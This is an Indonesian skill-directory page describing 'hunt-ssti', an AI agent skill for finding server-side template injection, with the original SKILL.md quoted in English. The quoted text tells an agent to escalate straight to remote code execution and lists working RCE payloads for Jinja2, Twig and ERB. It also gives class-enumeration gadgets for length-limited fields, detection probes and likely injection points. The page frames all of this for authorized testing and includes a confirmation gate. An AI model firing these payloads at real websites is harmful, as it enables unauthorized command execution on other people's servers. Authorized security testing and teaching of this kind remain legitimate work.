Langsung ke konten
Skillpedia
API & server (backend)48k Β· #4906

hunt-ssti

Fungsinya

Tool ini mencari celah keamanan pada website yang disebut 'Server-Side Template Injection' (SSTI). Tool ini mencoba menjalankan perintah di server untuk memeriksa apakah situs tersebut rentan.

Kapan dipakai

  • βœ“Saat menguji keamanan website dengan izin.
  • βœ“Untuk tujuan edukasi tentang keamanan web.
  • βœ“Dalam penilaian keamanan yang resmi dan berizin.

Link skill

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-ssti/SKILL.md

Salin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.

Cara pakai

Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.

Pesan siap tempel

Gunakan skill ini untuk membantu saya: https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-ssti/SKILL.md Baca file SKILL.md di link tersebut dan ikuti instruksinya untuk tugas saya.
Mau AI Anda menemukan skill seperti ini sendiri?Pasang MCP Skillpedia gratis: cukup satu baris, dan AI mencari di antara 15.000+ skill sebelum tiap tugas.Pasang dalam 1 menit β†’

Contoh permintaan ke AI

β€œCari SSTI di example.com”

5 skill baru setiap minggu. 1 menit baca.

Cara kerjanya

Tool ini mengirim potongan kode kecil ke website, yang disamarkan sebagai data biasa. Jika website menafsirkan kode tersebut sebagai instruksi, website mungkin rentan.

Konten teknis (SKILL.md asli)

Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

  1. Ask the user to state the exact target URL, IP, account, or resource.
  2. Ask the user to confirm written authorization and the permitted scope.
  3. Show the exact command(s) and explain their expected effect.
  4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

Autonomous Testing Priority

Escalate straight to RCE β€” don't stop at arithmetic detection.

Arithmetic probes ({{7*7}}β†’49) confirm the injection point but are not proof of impact. The real goal is OS command execution. Arithmetic detection also fails silently when the app echoes the input back (e.g. inside an HTML attribute like <input value="{{7*7}}">), producing a false negative even when injection exists.

Order of attack:

  1. Try Jinja2 RCE first (covers Python/Flask β€” the most common stack in modern web apps):
    {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
    
  2. If the endpoint is a traditional web form, send as form-encoded body β€” NOT JSON:
    Content-Type: application/x-www-form-urlencoded
    field={{config.__class__.__init__.__globals__['os'].popen('id').read()}}
    
    JSON bodies are silently ignored by form-processing endpoints (request.form['field'] sees nothing).
  3. If Jinja2 fails, try Twig (PHP/Symfony): {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
  4. Fall back to arithmetic detection only to fingerprint the engine when RCE payloads fail.

Proof: Command output (uid=N(user) gid=...) in the response confirms RCE. If the output appears in HTML (inside a <div> or <pre>), that still counts β€” the format is irrelevant, the content is the evidence.


14. SSTI β€” SERVER-SIDE TEMPLATE INJECTION

Easy to detect, high payout ($2K–$8K). Direct path to RCE.

Detection Payloads (try all)

{{7*7}}          β†’ 49 = Jinja2 / Twig
${7*7}           β†’ 49 = Freemarker / Velocity / Mako (all use ${...})
<%= 7*7 %>       β†’ 49 = ERB (Ruby)
*{7*7}           β†’ 49 = Spring Thymeleaf
{{7*'7'}}        β†’ 7777777 = Jinja2 (Python string repetition); 49 = Twig (numeric coercion of '7'). Differentiates Jinja2 from Twig.

RCE Payloads

Jinja2 (Python/Flask):

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Twig (PHP/Symfony):

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

ERB (Ruby):

<%= `id` %>

Length-constrained injection fields (profile name, display name, subject)

When the injectable field caps input length (a profile-name / display-name field is often ≀30-64 chars), the full os.popen one-liner won't fit β€” but detection and class-enumeration still do. Confirm with the short probe, then enumerate the gadget index in stages instead of one payload:

{{ '7'*7 }}                                  # detection, fits anywhere
{{ [].__class__.__base__.__subclasses__() }} # dump class list, pick the index for subprocess.Popen/os
{{ ''.__class__.__mro__[1].__subclasses__()[INDEX] ('id',shell=True,stdout=-1).communicate() }}

The reflected sink is frequently an outbound email (the account-update / confirmation mail rendering your name), not the web page β€” read the email body for the evaluated output. Disclosed: reports/125980 (profile-name β†’ Jinja2 β†’ confirmation email, length-limited).

Where to Test

Name/bio/description fields, email templates, invoice name, PDF generators,
URL path parameters, search queries reflected in results, HTTP headers reflected

CMS / "documentation" template-editor forms (authenticated)

Some SSTI lives behind a logged-in template editor (CMS "edit template" / product-template / email-template preview). PortSwigger's "SSTI using documentation" class is this shape. Three things break a naive attempt:

…

Pertanyaan umum

Apa itu SSTI?

SSTI adalah kerentanan yang memungkinkan penyerang menjalankan perintah di server yang menjalankan website, dengan memanfaatkan fitur 'template' milik situs itu sendiri.

Mengapa saya perlu izin?

Menguji keamanan website tanpa otorisasi itu ilegal dan bisa menimbulkan kerusakan. Tool ini hanya boleh digunakan di lingkungan terkontrol dengan izin yang jelas.

Apa itu RCE?

RCE adalah singkatan dari 'Remote Code Execution'. Ini adalah tujuan akhir dari serangan SSTI, yaitu ketika penyerang bisa menjalankan perintah di server secara remote.

Detail

Deskripsi asli dari pembuat

Hunt server-side template injection (SSTI) across Jinja2 (Flask/Django), Twig (Symfony), Freemarker (Java), ERB (Rails), Spring, Velocity, Mako, Thymeleaf, Smarty.

repo: sickn33/agentic-awesome-skills

Popularitas

Bintang GitHub
48k
Peringkat
#4906
Lisensi
MIT
Diperbarui
15/10/2026

Apakah skill ini berguna?

0

Masuk untuk memberi suara.

Komentar

  • …

Skill lain dari repositori ini

Skill serupa